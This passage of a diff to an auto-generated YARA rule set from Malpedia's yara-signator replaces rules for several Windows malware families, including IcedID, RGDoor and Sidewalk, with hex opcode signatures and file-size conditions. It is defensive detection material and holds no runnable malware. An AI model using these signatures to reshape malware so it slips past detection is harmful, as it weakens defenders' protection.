51 ffb580feffff 8d8d5cffffff e8???????? } + $sequence_4 = { 83c404 c645fc03 8b8d70ffffff 83f908 } + $sequence_5 = { 0f1f4000 0f1f840000000000 a1???????? c7855cffffff00000000 } + $sequence_6 = { ff7610 50 8d45c8 50 ffd7 } + $sequence_7 = { 75e8 8b7dd4 8b55c4 8d4dd4 8b45e8 8bf2 } + $sequence_8 = { 85c0 0f84c02e0000 c3 833d????????ff 7503 33c0 c3 } + $sequence_9 = { 90 668b0431 663b01 750a 83c102 83ea01 75ef } condition: - 7 of them and filesize < 339968 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Bohmini_Auto : FILE +rule MALPEDIA_Win_Newbounce_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7ffa4356-333d-5cd0-8977-11f17aa9ceda" + id = "3e3986fe-0558-5f1b-99f3-eb9b18b9db79" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bohmini_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newbounce_auto.yar#L1-L149" license_url = "N/A" - logic_hash = "4b7b42d940efc962d3653e13f1a5647032ad0ceec459f0054e3c714b4efdf65b" + logic_hash = "53993fab1fffe3be30682fcde23603c8013a2f2c28d0b685101dbd874fd28f1f" score = 75 quality = 75 tags = "FILE" @@ -99468,32 +99529,37 @@ rule MALPEDIA_Win_Bohmini_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd5 85c0 7503 ff430c 8b36 85f6 } - $sequence_1 = { 8d442408 c744240824020000 50 56 e8???????? 85c0 741f } - $sequence_2 = { 57 51 6a00 6a00 ff15???????? 85c0 } - $sequence_3 = { 50 8d542424 51 52 8d442424 6aff 50 } - $sequence_4 = { 33d0 8855fc 8d742600 8b4df0 034df8 8a55fc 8811 } - $sequence_5 = { c74424080c000000 c744241000000000 8944240c ff15???????? 8b542404 } - $sequence_6 = { 85c0 7529 8d442400 56 50 e8???????? 8bf0 } - $sequence_7 = { ffd6 8b3d???????? 50 ffd7 55 6a00 } - $sequence_8 = { 837e0c0a 7e47 8b4e08 51 e8???????? 83c404 } - $sequence_9 = { 8d442418 50 56 e8???????? eb0b } + $sequence_0 = { 83e00f 7e05 2bf0 83c610 } + $sequence_1 = { 7c11 8a03 4b8b8cf8a0b40600 48ffc3 } + $sequence_2 = { 7c2f 803b39 7f2a 488d4c2420 } + $sequence_3 = { 7c07 488d4c2438 eb0a 4889442430 488d4c2430 488b09 483b8e78020000 } + $sequence_4 = { 7c0c 488d15bad00200 e9???????? 488d1566d00200 } + $sequence_5 = { 7c8d 4863c8 498bd6 85c0 } + $sequence_6 = { 7c4b 4c8bc6 e8???????? 48017748 } + $sequence_7 = { 7c07 488d4c2460 eb0a 4889442468 } + $sequence_8 = { 81ec68010000 a1???????? 33c4 89842464010000 56 57 8bf1 } + $sequence_9 = { 81ec20020000 a1???????? 33c4 89842418020000 56 } + $sequence_10 = { 81ec50030000 a1???????? 33c5 8945ec 53 } + $sequence_11 = { 81ec28010000 a1???????? 33c5 8945fc 8b4610 } + $sequence_12 = { 81ec64060000 a1???????? 33c4 89842460060000 53 } + $sequence_13 = { 81ec8c010000 56 a1???????? 33c5 } + $sequence_14 = { 81ec58030000 a1???????? 33c4 89842450030000 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 8637440 } -rule MALPEDIA_Win_Webc2_Rave_Auto : FILE +rule MALPEDIA_Win_Harnig_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b8abe54-80f5-58ec-90da-b83888b1df6b" + id = "9abf1275-be08-57a2-b590-38e4b33996cd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_rave_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.harnig_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "af650f13ddb6ad439bdfa3dda339af75bc74ce9074c6268554058b1c377beaa8" + logic_hash = "87f18fe78ccecf6b99a233ae62c504e49ba2ae60d8433aec1b3aa385be172cee" score = 75 quality = 75 tags = "FILE" @@ -99507,32 +99573,32 @@ rule MALPEDIA_Win_Webc2_Rave_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8dbc24b0040000 83c9ff f2ae 8b06 8d9424b0040000 f7d1 } - $sequence_1 = { 8b742410 8bc6 85f6 89442418 } - $sequence_2 = { f3ab 85db aa 7464 eb06 8b35???????? } - $sequence_3 = { 83c410 f3ab aa 8d8424a0020000 50 6804010000 } - $sequence_4 = { c784248800000001010000 66899c248c000000 89842498000000 8984249c000000 ffd7 8b542420 50 } - $sequence_5 = { 81fb00040000 c644241300 0f87b4000000 b980000000 33c0 8dbc242c010000 } - $sequence_6 = { 42 56 51 8915???????? } - $sequence_7 = { 8b8c2410020000 33c0 8bd0 83e20f 40 } - $sequence_8 = { aa ffd5 83c410 8d842490000000 8d8c24a8030000 } - $sequence_9 = { e8???????? 83c404 85c0 0f848d000000 33c9 33d2 894c2410 } + $sequence_0 = { ebba be0cfb1473 56 6a03 e8???????? ff7508 } + $sequence_1 = { be0cfb1473 56 6a03 e8???????? ff7508 ffd0 56 } + $sequence_2 = { e8???????? 6a04 8d4df8 51 6a06 ff750c ffd0 } + $sequence_3 = { 6a06 56 68???????? e8???????? 56 8d85b8fdffff } + $sequence_4 = { ffd0 bb30ef0298 53 6a01 e8???????? 57 } + $sequence_5 = { 33ff 8945d0 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 } + $sequence_6 = { ffd7 6a06 56 68???????? e8???????? } + $sequence_7 = { e8???????? 56 8d85e0fdffff 50 ffd3 e8???????? } + $sequence_8 = { f3ab e8???????? 8d4df0 51 8d4dac 51 } + $sequence_9 = { 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 c745cc6c104000 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Payloadbin_Auto : FILE +rule MALPEDIA_Win_Sidewalk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "479cd137-2967-575a-8de8-bab23a965cce" + id = "39c1c961-da91-5a25-8ecb-047f3c9eb164" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.payloadbin_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewalk_auto.yar#L1-L149" license_url = "N/A" - logic_hash = "810f81f232eae27d52097e88c16ab90183a29e32277d9224dad94d2d9c691817" + logic_hash = "8deb72ecccbb130aa5e8724fff6a194c33523f3296434270b03ff0933ff78416" score = 75 quality = 75 tags = "FILE" @@ -99546,32 +99612,36 @@ rule MALPEDIA_Win_Payloadbin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c744243003000000 488d4c2470 66448bc9 4487c2 6699 4c8d48b0 } - $sequence_1 = { 4d0fbddc 23c6 480fb7cb 0bd8 0fbfca 6698 418919 } - $sequence_2 = { 68eb3a8171 55 68396f8656 6819276b5f 682109a155 4c8b6c2438 48c7442438404fa1db } - $sequence_3 = { 4881c308000000 660fa4d81f f6d8 f9 9d d2e0 } - $sequence_4 = { 4153 310c24 6641ffc3 415b 403aea 6685d7 4863c9 } - $sequence_5 = { f9 f8 4151 41d2e1 311c24 4532cd 4522ce } - $sequence_6 = { ff15???????? 3ac3 e9???????? 0f8492010000 440fb7442430 488b542438 490fb7c9 } - $sequence_7 = { 8d56d4 fa 158935079e 9e 4657 250543b1d9 f661fd } - $sequence_8 = { 440fb7c1 4080fca3 6683f819 e9???????? 0f8703000000 4503c5 0fb703 } - $sequence_9 = { 4180fd52 4983c004 3bc8 e9???????? 0f860a000000 b801000000 e9???????? } + $sequence_0 = { 41c1c610 4503e6 4403cb 4533d1 4403ee 41c1c210 418bc3 } + $sequence_1 = { c1c010 4403d8 4133db c1c30c } + $sequence_2 = { ff15???????? 4885c0 750e 488bcf ff15???????? } + $sequence_3 = { 33f0 418bc1 4133c6 c1c608 c1c010 4403de 4403e8 } + $sequence_4 = { 4433f2 c1c710 4403df 41c1c610 4503e6 4403cb } + $sequence_5 = { c1e810 880a c1e918 884202 884a03 4183f810 } + $sequence_6 = { 48ffc1 488d040a 483bc6 7ce2 } + $sequence_7 = { 4133db c1c30c 03d3 8bf2 } + $sequence_8 = { 4133db 418bcd c1c307 4133c8 } + $sequence_9 = { 418b09 418bc0 c1e002 4d8d4904 4863d0 } + $sequence_10 = { 8a040f 3201 41880408 48ffc1 488d040a } + $sequence_11 = { c1e108 0bc8 0fb642fe c1e108 0bc8 41890c10 488d5204 } + $sequence_12 = { 488b05???????? 83780c00 7405 e8???????? 488b0d???????? } + $sequence_13 = { 89750b 4489750f 44897d03 448965ff } condition: - 7 of them and filesize < 3761152 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Ssload_Auto : FILE +rule MALPEDIA_Win_Rgdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "30dda8cc-ed50-5e35-9e3b-577f2e01ce05" + id = "2eb99ad7-9e75-5845-969c-c304a1478e04" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ssload" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ssload_auto.yar#L1-L187" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rgdoor_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "ac05084ef9800673d1ca7ea15965552cfd923f1e160cfabe8236802f68f627b1" + logic_hash = "fb170bfaa8b6f4f88bfae97b02b3770495bd4a9f8715b2816fb97989dc207528" score = 75 quality = 75 tags = "FILE" @@ -99585,41 +99655,32 @@ rule MALPEDIA_Win_Ssload_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894dd4 51 8945e0 ff10 83c404 } - $sequence_1 = { f7e1 c1ea03 8d0492 8d0442 } - $sequence_2 = { 50 e8???????? 83c40c 01de 89770c e9???????? 8b770c } - $sequence_3 = { 85f6 b8ffffffff 0f48f8 81ff01020000 } - $sequence_4 = { c745d002000000 648b0d00000000 894de8 64a300000000 } - $sequence_5 = { 0fb6f0 83fe0c 7e0c 83fe1f 7e14 83fe20 7418 } - $sequence_6 = { 89d5 57 53 52 e8???????? 83c40c } - $sequence_7 = { 56 83ec2c 8b5c2444 8b6c2440 } - $sequence_8 = { 0f57c0 0f1144240c 894c2408 89442404 } - $sequence_9 = { 83ec0c 8db53cffffff 8baeb0000000 8b4608 } - $sequence_10 = { 83c40c 037de0 8b55d8 39d7 } - $sequence_11 = { 0345e8 2b45d4 8945dc e9???????? } - $sequence_12 = { 034828 8b55fc 894a2c eb0a } - $sequence_13 = { 034228 8945c4 6a00 6a01 6800000010 } - $sequence_14 = { 034a10 894de0 8b45e0 3b45dc 7606 8b4de0 894ddc } - $sequence_15 = { ffd1 83c408 ebbc 8b55fc 8b4208 50 e8???????? } - $sequence_16 = { 034214 50 8b4df8 51 e8???????? } - $sequence_17 = { 03420c 50 ff15???????? 8945f8 837df800 } - $sequence_18 = { 034110 50 8b550c 52 8b4de8 e8???????? } + $sequence_0 = { 4c8d0dbe380200 4c8b442448 488b542438 488b4c2440 83bc24c800000000 7413 } + $sequence_1 = { 488d0d53170100 e8???????? 85c0 754a 488d0d774a0000 e8???????? 488d152f170100 } + $sequence_2 = { ff15???????? 488d15e3580100 483305???????? 488bcb 488905???????? ff15???????? 488d15e5580100 } + $sequence_3 = { 4c8d25d8310200 83e01f 4c6bf858 498b04fc 420fbe4c3808 83e101 7449 } + $sequence_4 = { 488d4c2420 41b801000000 4889442458 e8???????? 488d05e6840100 488d154f530200 488d4c2420 } + $sequence_5 = { e8???????? 4c8bf8 4889842488000000 4885c0 } + $sequence_6 = { 4863ca 0fb7444b0c 6641898448c0410300 ffc2 ebe2 8bd7 } + $sequence_7 = { e8???????? 488bf0 488b8de0000000 48635104 } + $sequence_8 = { e9???????? 488d8a98000000 e9???????? 488d8ae0010000 e9???????? 488d8a60000000 e9???????? } + $sequence_9 = { 4c8d3d6c3c0100 4c8d6738 4c8d05e13d0100 488bd3 498bce e8???????? } condition: - 7 of them and filesize < 4950016 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Tinyturla_Ng_Auto : FILE +rule MALPEDIA_Win_Evilbunny_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "237c3b29-3ffe-58e0-8377-deec3f9ada49" + id = "09358091-8a71-53e9-955e-7e0615a7395b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyturla_ng" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyturla_ng_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilbunny_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "053b5083da44c3f040d79aabaeaa3be9af43dd91f5cebec175c4332c307fa8d0" + logic_hash = "129d7389b0c5c744f879d0c6646586dd6514e45e4141df82d478776226b51b53" score = 75 quality = 75 tags = "FILE" @@ -99633,32 +99694,32 @@ rule MALPEDIA_Win_Tinyturla_Ng_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4881ec90000000 488b05???????? 4833c4 4889451f 488bda 488bf1 } - $sequence_1 = { 488bcf e8???????? 33c9 eb15 } - $sequence_2 = { 488d7027 4883e6e0 488946f8 eb36 b816000000 483bf8 480f42f8 } - $sequence_3 = { c60600 8b87b8020000 8987b4020000 8b8fb4020000 ff15???????? 80bfcc02000000 0f8579fdffff } - $sequence_4 = { 85c0 0f8572010000 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 } - $sequence_5 = { 4863f0 ff15???????? 488bc8 4c8d4601 33d2 ff15???????? 488bd8 } - $sequence_6 = { 8b4558 83e001 85c0 7414 836558fe 488b4d60 } - $sequence_7 = { 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 488d5517 ff15???????? } - $sequence_8 = { 803c0800 75f7 488d5550 48c7c0ffffffff 48ffc0 } - $sequence_9 = { 4c8d050f92ffff 33d2 33c9 e8???????? } + $sequence_0 = { eb37 6a00 8b4df4 2b4d0c 51 8b55fc 8b4218 } + $sequence_1 = { 2b45e4 1b55e8 8945a0 8955a4 eb0e c745a000000000 c745a400000000 } + $sequence_2 = { 8b55f8 8b4218 8b550c 891401 8b450c 0fb64805 83e103 } + $sequence_3 = { 8b5518 c1e20e 0bc2 50 8b4508 50 e8???????? } + $sequence_4 = { 8d8c3a4b661aa8 894df8 8b95ccfeffff c1ea02 8b85ccfeffff c1e01e 0bd0 } + $sequence_5 = { 55 8bec 51 8b4508 8b4824 034d0c 894dfc } + $sequence_6 = { e8???????? 8b55f8 c782060c000001000000 33c0 52 8bcd 50 } + $sequence_7 = { e8???????? 8b858cfeffff 52 8bcd 50 8d1540f91000 e8???????? } + $sequence_8 = { e8???????? 83c408 8b4dfc 51 8b95e4fdffff 52 8d85e8fdffff } + $sequence_9 = { 8b5508 8b4238 89413c 8b4d08 8a5510 885136 b801000000 } condition: - 7 of them and filesize < 635904 + 7 of them and filesize < 1695744 } -rule MALPEDIA_Win_Urlzone_Auto : FILE +rule MALPEDIA_Win_Nexster_Bot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4dd4d8e5-7756-57be-8ce5-a21c7832bb2c" + id = "a43d5074-419f-56bf-9041-ecb4085c5c0f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urlzone_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nexster_bot_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "c42481bd862ad161fd4e6a711568aaf0139280c4a77d4d9855a08ac723543c9d" + logic_hash = "030c2bb9e4dedc4e668df50b31810c5f051c7ed3a34092c75978caae787f72df" score = 75 quality = 75 tags = "FILE" @@ -99672,34 +99733,34 @@ rule MALPEDIA_Win_Urlzone_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 81c4e8fbffff 53 56 57 8b4514 } - $sequence_1 = { 8910 33c0 8943e4 c745fcffffffff eb1f 46 83c340 } - $sequence_2 = { 83fbff 0f8420070000 6a00 53 e8???????? 8945f8 } - $sequence_3 = { 50 e8???????? 6a00 6a00 2df1000000 50 8b06 } - $sequence_4 = { 6a00 56 6a00 6802000001 6a00 53 } - $sequence_5 = { 85c0 7c04 85d2 7d02 33c9 8bc1 c3 } - $sequence_6 = { 50 e8???????? b001 e8???????? 68???????? 68???????? e8???????? } - $sequence_7 = { c6041000 bf01000000 8db36cfeffff 8b06 85c0 7438 } - $sequence_8 = { bb???????? 8b45f8 50 8d8577ffffff 50 } - $sequence_9 = { 7435 e9???????? 56 8d85effdffff } + $sequence_0 = { 8a4701 47 84c0 75f8 8b0d???????? 8d84240c010000 } + $sequence_1 = { 6a00 8908 668b0d???????? 6a00 895004 68000000c0 } + $sequence_2 = { 42 3acb 75f6 8dbd00080000 8db5000c0000 e8???????? } + $sequence_3 = { e8???????? 8b54241c 68???????? 8bf0 52 8d44241c 50 } + $sequence_4 = { 33c0 8da42400000000 8a1485d0604100 889405000e0000 40 83f80b } + $sequence_5 = { 8d842480000000 50 ff15???????? 8b3d???????? } + $sequence_6 = { 8d0cbd20804100 8901 8305????????20 8b11 81c200080000 } + $sequence_7 = { 85c0 0f8581000000 80bc24ae01000001 7533 8b0d???????? 8b15???????? } + $sequence_8 = { 84c0 75f6 8d85c0140000 48 } + $sequence_9 = { 75f9 8b1424 6a00 2bc1 8d4c242c } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Wastedloader_Auto : FILE +rule MALPEDIA_Win_Icedid_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9b391e1-a439-5c84-8bc6-d01e7837fa3f" + id = "7cb01d8c-6ddc-5faf-a2d7-b352678038d8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedloader_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_auto.yar#L1-L300" license_url = "N/A" - logic_hash = "f52a5046711dc64fff342d42959b67fac6d384f1f957f74196d547273f13eb4f" + logic_hash = "80a642e8024f176494bc232a2f8ca8c27a08e0dff1dc2e9038b4b5cccdea7c2e" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -99711,32 +99772,54 @@ rule MALPEDIA_Win_Wastedloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7444 eb00 686bb90000 ff15???????? } - $sequence_1 = { 7ed7 7488 09b31ced6185 1ce2 } - $sequence_2 = { e8???????? 3d1e050000 c10147 833b38 } - $sequence_3 = { a828 b409 1c04 e8???????? } - $sequence_4 = { 7aec e471 e8???????? 0057bb 038919fc885d e479 } - $sequence_5 = { b9b5000000 8b55f8 66894a4c 8b45f8 } - $sequence_6 = { 8b45f8 66895056 b9b8000000 8b55f8 66894a58 8b45f8 0fb74858 } - $sequence_7 = { 0200 00e7 aa 53 } - $sequence_8 = { 2cbe 832061 5b 5b } - $sequence_9 = { 8b55f8 0fb7421e 83e854 8b4df8 6689411e ba86000000 } + $sequence_0 = { ff15???????? 85c0 7511 56 57 ff15???????? } + $sequence_1 = { 7411 40 50 6a08 ff15???????? } + $sequence_2 = { 50 ff15???????? 8bf7 8bc6 } + $sequence_3 = { 7413 ff36 6a08 ff15???????? } + $sequence_4 = { 85f6 742c 803e00 7427 6a3b 56 ff15???????? } + $sequence_5 = { 85ff 7418 c60700 47 57 ff15???????? } + $sequence_6 = { 68???????? 6a00 ff15???????? 33c0 40 } + $sequence_7 = { 6a3b 56 ff15???????? 8bf8 85ff 7418 } + $sequence_8 = { e8???????? 8bf0 8d45fc 50 ff75fc 6a05 } + $sequence_9 = { 5f 743f 8d5808 0fb713 } + $sequence_10 = { 03c2 eb5c 8d5004 89542414 8b12 85d2 7454 } + $sequence_11 = { 0132 47 83c302 3bfd 72c4 8b542414 } + $sequence_12 = { 85d2 7454 8d6af8 d1ed } + $sequence_13 = { 8d5808 0fb713 8954241c 66c16c241c0c } + $sequence_14 = { 8d4508 50 0fb6440b34 50 ff740b28 } + $sequence_15 = { 2345fc 8be5 5d c3 55 8bec ff7518 } + $sequence_16 = { ff15???????? 85c0 750a b8010000c0 e9???????? } + $sequence_17 = { 8a4173 a808 75f5 a804 } + $sequence_18 = { ff5010 85c0 7407 33c0 e9???????? } + $sequence_19 = { 89442408 0fb70424 8b4c2408 03c8 } + $sequence_20 = { 48 8b523c e8???????? 48 89433c 48 85c0 } + $sequence_21 = { 48 8945b8 48 85c0 0f84db000000 8b4324 48 } + $sequence_22 = { 4c 8b15???????? 48 8d442450 44 } + $sequence_23 = { 49 8943d8 ff15???????? 85c0 } + $sequence_24 = { 4c8bc3 33d2 488bc8 ff15???????? 488bb590020000 } + $sequence_25 = { 3b7b1c 72d7 8b430c 4803c6 0f845affffff 488bcd } + $sequence_26 = { 488d5702 488bce ff15???????? ba22000000 488bce ff15???????? 4885c0 } + $sequence_27 = { 4289448440 488b5c2428 4c3b5c2430 7307 4c8b742420 } + $sequence_28 = { 488bd8 4885c0 0f84cb000000 488bb590020000 41ba01000000 } + $sequence_29 = { 488bb590020000 488b7c2438 33c9 33d2 } + $sequence_30 = { 80bb8000000040 0f8577ffffff 488d8b81000000 488d542450 e8???????? 85c0 } + $sequence_31 = { 75b9 4883c314 e9???????? ff15???????? 33c0 } condition: - 7 of them and filesize < 2677760 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Mim221_Auto : FILE +rule MALPEDIA_Win_Mozart_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "228071fb-1a03-5df1-9306-75e661d4eff3" + id = "e6ef70f1-9d8c-5900-bac0-94145c939b8a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mim221_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mozart_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "fbcd019f6c67a46486f2c63b4d67a0947f9feb6ff08f1d935eac4f65f1ebad93" + logic_hash = "3d072f882d8d032cd0ba33880719776c6c63b0d1fb641e5640a7afb53ae04bf9" score = 75 quality = 75 tags = "FILE" @@ -99750,32 +99833,32 @@ rule MALPEDIA_Win_Mim221_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d0d77ec0100 e8???????? 488bf0 483bc5 7507 33c0 e9???????? } - $sequence_1 = { 66c785cc0000007800 66c785ce0000006300 66c785d00000006500 66c785d20000007000 66c785d40000007400 66c785d60000006900 66c785d80000006f00 } - $sequence_2 = { 48894108 488b442440 488b4808 4885c9 740f ff15???????? 488b4c2440 } - $sequence_3 = { 33d2 488d42ff 48f7f1 4883f801 733b 48c78424b800000000000000 488d9424b8000000 } - $sequence_4 = { 49c743a80f000000 49c743a000000000 c644247800 33c0 488d48ff 488d7c2460 f2ae } - $sequence_5 = { e8???????? 90 488d4c2450 e8???????? 90 488d054c2b0100 4889442450 } - $sequence_6 = { c78424c0000000d8000000 89ac24c4000000 89b424c8000000 48c78424d000000020010000 89bc24d8000000 48c78424e000000018000000 44899c24e8000000 } - $sequence_7 = { 4883f8ff 488be8 0f84ae000000 488d9424c0000000 488bc8 c78424c000000038020000 e8???????? } - $sequence_8 = { 6644897c2450 66c74424526400 66c74424545d00 66897c2456 } - $sequence_9 = { 7505 498bd1 eb21 498b5108 41386849 7504 49895008 } + $sequence_0 = { 33f6 c644241800 eb26 8d4c2418 51 } + $sequence_1 = { 8b542468 41 3bca 736e 8bd0 } + $sequence_2 = { 7c19 3c39 7f15 bd01000000 eb08 3c30 7c36 } + $sequence_3 = { 7471 c1e006 0bc7 a900000001 7425 } + $sequence_4 = { 0f84a0010000 48 0f84e6000000 48 0f85fd010000 85ed 7544 } + $sequence_5 = { 0fbe0a 8a89c8924000 0fb6f9 8bcf 42 83e940 } + $sequence_6 = { 8a08 40 84c9 75f9 8b8c2420100000 } + $sequence_7 = { 90 8a82e0ba4000 3a841420010000 751f b8???????? } + $sequence_8 = { 83fe10 7409 33f6 c644241800 eb39 80fb3d 740e } + $sequence_9 = { 3bd0 72e2 5e 32c0 } condition: - 7 of them and filesize < 471040 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Silon_Auto : FILE +rule MALPEDIA_Win_Krdownloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "77f22f8e-9f0a-5d81-b5cb-4a1b2cbd5d10" + id = "8928305b-67d0-5595-b543-162ed3d8a500" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silon_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krdownloader_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "7b66629e0b9d8daa583e325d7e0da1ae5ba2cceda52e365df066a9ac5301a777" + logic_hash = "b190fd97a74e2ef74cfd54dab7101c2dd88a9538032e0c3b3bee219ca7927a46" score = 75 quality = 75 tags = "FILE" @@ -99789,32 +99872,32 @@ rule MALPEDIA_Win_Silon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8b956cfeffff 52 e8???????? 83c40c 837d8400 } - $sequence_1 = { 898858080000 eb7c 8b55fc 8b8254080000 898514efffff } - $sequence_2 = { 83c404 8945a4 837da400 746e 8b55a8 } - $sequence_3 = { 0f868f000000 833d????????00 0f8482000000 c745e400000000 } - $sequence_4 = { 50 6a00 e8???????? 83c410 89856cfeffff 83bd6cfeffff00 } - $sequence_5 = { 8d8de8f9ffff 51 68???????? 8d95e8fbffff } - $sequence_6 = { 8b55fc 8b8254080000 8b4dfc 03815c080000 } - $sequence_7 = { 83c410 6a65 a1???????? 50 } - $sequence_8 = { 8b85c4feffff 8945d4 0fb74dcd 85c9 7e34 0fb755cd } - $sequence_9 = { 681d5b931f 6a05 e8???????? 8945fc 8b4510 50 } + $sequence_0 = { eb26 8b4dfc 034df4 0fb6512c 52 68???????? 8b45f0 } + $sequence_1 = { 83ec34 894df8 c745fc00000000 8b450c } + $sequence_2 = { c745ec00000000 c745f400000000 c745d810000000 c745e000000000 c745d000000000 c745f800000000 c745e800000000 } + $sequence_3 = { 83c40c 8b45f8 50 ff15???????? eb26 } + $sequence_4 = { c745fc00000000 6a00 6822020000 ff15???????? } + $sequence_5 = { 6a00 6840004004 8d45f4 50 68???????? 68???????? } + $sequence_6 = { 83c40c c745f400000000 8d85f4f7ffff 50 8b4dfc 81c1640d0300 } + $sequence_7 = { ffd1 8b55fc 83ba540d030000 7415 8b45fc 8b88540d0300 51 } + $sequence_8 = { c740040f000000 8b4dfc 51 8b55f8 52 8d85e4ebffff } + $sequence_9 = { 